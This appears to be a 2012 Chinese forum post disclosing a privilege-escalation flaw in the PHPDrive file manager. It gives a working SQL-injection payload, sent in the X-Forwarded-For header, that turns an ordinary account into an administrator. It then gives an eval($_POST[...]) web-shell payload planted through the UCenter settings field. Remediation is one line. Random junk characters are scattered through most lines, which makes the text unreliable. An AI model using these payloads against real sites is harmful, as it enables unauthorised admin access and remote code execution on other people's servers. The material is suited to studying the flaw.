找回密码
 立即注册
查看: 2644|回复: 0
打印 上一主题 下一主题

PHPDrive权限提升漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:18:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPDrive 是一套运行于 PHP 环境的文件管理系统,可以应用于网盘、企业文件管理、学校、团队管理、软件站、文件CMS等, a3 y# z& ?. c
, T4 S; l& A5 a# [* c2 ?3 i4 v
includes/user.lib.php
7 F3 ~& i9 j8 w- t行87  C3 o9 y: N$ c  C
function get_ip() {
& x( U6 ?! G+ v6 S4 i1 z. k if(isset($_SERVER["HTTP_X_FORWARDED_FOR"])&&$_SERVER["HTTP_X_FORWARDED_FOR"]) $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];.7 G: b, c# t- b" O2 y1 e6 l% u
在用户注册与登录 处module/disk/account.lead.php
+ u; S! N3 M' ]198行
, C$ F2 }/ F& D- L# Z: y, } //更新本次登录IP和时间
4 D' D- X$ u9 a, P" {) u             $db->Query(‘UPDATE `’.$db->TPre.’user` SET `before_last_date` = ‘.$UserArr['last_date'].’,`last_date` = ‘.$NowUnixTime.’,`before_last_ip` = “‘.$UserArr['last_ip'].’”,`last_ip` = “‘.get_ip().’” WHERE `uid` = ‘.$UserArr['uid'].’;');//get_ip()入库注入产生
8 b! T/ Z; P; q% u  a! c3 f由于本套程序user与manager是存在于同一个表下的,只是用group字段来区分两者,group=1为管理员,2则为普通用户。所以可以利用以上注入,将普通用户的group值改为1,即可提升权限
" _$ r! q  t/ }- f3 @  u. B实现方法:使用firefox的一款插件x-forwarded-for Header 1.0,将你的IP地址改为123″,`group`=”1然后登陆,这时候你就是管理员了.% B2 K/ S6 A. ?, L
后台getshell:
+ `- d; }8 `/ u' v在UCenter设置处,将UC数据库登录名填写为
& o  `' L/ f, c- o' e. }3 P  T* M . E4 R. ^) n8 G- L& d% B7 W
root’);eval($_POST[DisKill]);?>/*0 I, i- y! A7 R( P/ ^  f: ]4 W) d3 V
可以得到一个shell,位置在 data/uc.data.php7 L9 O6 _( B6 n" i' [
4 ]5 M* Q( S$ L
修复:过滤注入( B/ Z! x% \5 V$ A+ N/ f1 |0 c
3 ]5 y2 P6 Q5 T4 Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表